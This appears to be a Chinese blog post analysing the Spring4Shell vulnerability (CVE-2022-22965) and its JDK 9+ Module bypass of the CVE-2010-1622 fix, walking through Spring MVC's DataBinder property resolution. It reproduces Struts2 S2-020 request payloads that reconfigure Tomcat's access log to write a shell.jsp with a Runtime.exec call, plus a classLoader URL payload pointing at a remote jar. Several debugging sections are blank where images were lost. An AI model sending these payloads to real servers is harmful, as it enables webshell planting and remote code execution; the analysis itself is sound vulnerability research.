前言:記錄一篇自己入門java安全的故事,捋一下思路,輕量知識 ,重在除錯 !
.
這篇文章四個部分:
引入篇:整理一下CVE-2022-22965漏洞的來龍去脈
基礎篇:回顧Java中一些基礎的內容
除錯篇:閱讀Spring MVC部分原始碼
分析篇:分析CVE-2010-1622、CVE-2022-22965的漏洞成因
.
分析篇
( 緊接" 淺談CVE-2022-22965漏洞成因(四)”,復現并分析一下CVE-2022-22965漏洞成因 )
CVE-2022-22965漏洞分析
1、在Struts2框架的S-20的問題中的攻擊手法
這里我們僅需要了解一個思路,CVE-2022-22965中的攻擊手法與這個相同,其payload如下:
//修改寫入檔案所在的根目錄
http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
//修改寫入檔案的名稱
http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.prefix=shell
//修改寫入檔案的后綴名
http://127.0.0.1:8080/FirstStruts2/login?
class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
//修改檔案日期格式,用于切換目錄
http://127.0.0.1:8080/FirstStruts2/login?
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=2
//訪問shell.jsp將會記錄日志
http://127.0.0.1:8080/FirstStruts2/shell.jsp?=<%Runtime.getRuntime().exec("calc");%>
看完前面的除錯程序,再看這個payload基本上沒什么問題,不再過多敘述,
.
帶Spring MVC專案的專案部署到Tomcat中(或者Spring Boot可執行jar,內置web服務器),多加個module改下Payload,就能寫入個日志檔案,且是jsp格式的,

簡單的改一下,用下面的Payload,訪問(無攻擊效果),看看Spring MVC版本5中是如何對請求傳參作遞回決議、獲取PropertyDescriptor以及在這個程序中怎么繞過了CVE-2010-1622中Spring官方的修復
http://localhost:8090/SpringMVC5/level/info?class.module.classLoader.URLs[1]=jar:http://localhost:9999/test.jar!/
2、除錯Spring MVC版本5中請求傳參作遞回決議
從DataBinder開始

DataBinder呼叫AbstractPropertyAccessor的setPropertyValues方法遍歷每一個引數并開始對每一個引數進行決議,我們只傳了了一個需要遞回決議的請求引數,所以,在setPropertyValues里只會進行一輪迭代

AbstractPropertyAccessor呼叫AbstractNestablePropertyAccessor的setPropertyValue方法,在這個方法中,有決議形如"var1.var2.var3.var4.var5"這種形式的請求引數

決議class的程序如下:










決議module的程序如下:













決議classLoader的程序如下:













對class.module.classLoader.URLs[]賦值的程序如下:














第一個引數決議完畢!

3、繞過原因分析
重點就是這里,本來的攔截規則是當內省的bean是class且獲取到的PropertyDescriptor是classLoader時,CachedIntrospectionResults是不能快取classLoader這個PropertyDescriptor的,但是jdk11中多了個Module的特性,當內省的bean是Module時,CachedIntrospectionResults就能快取classLoader這個PropertyDescriptor了,

.
.
寫在最后:
4月份時就分析了這個漏洞,但由于各種原因,拖到現在才總結出來,中間有許多有趣的東西都遺忘了,再加上臨近期末,各種事情湊團,有很多細節的東西都沒補充全,
再有就是本文重在通過除錯分析整個代碼執行的程序,不過多追求如何攻擊,payload利用需要根據Spring部署的環境視情況而定,找到可利用鏈,(PS:自己也不是很懂)
.
推薦閱讀:
光閃師傅寫的《深入理解Spring MVC源代碼》
P牛師傅寫的Java安全漫談
yiran4827師傅的Struts2 S2-020在Tomcat 8下的命令執行分析
https://cloud.tencent.com/developer/article/1035297
Ruilin師傅的SpringMVC框架任意代碼執行漏洞
http://rui0.cn/archives/1158
麥兜師傅的Spring 遠程命令執行漏洞分析
https://paper.seebug.org/1877/
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/538710.html
標籤:其他
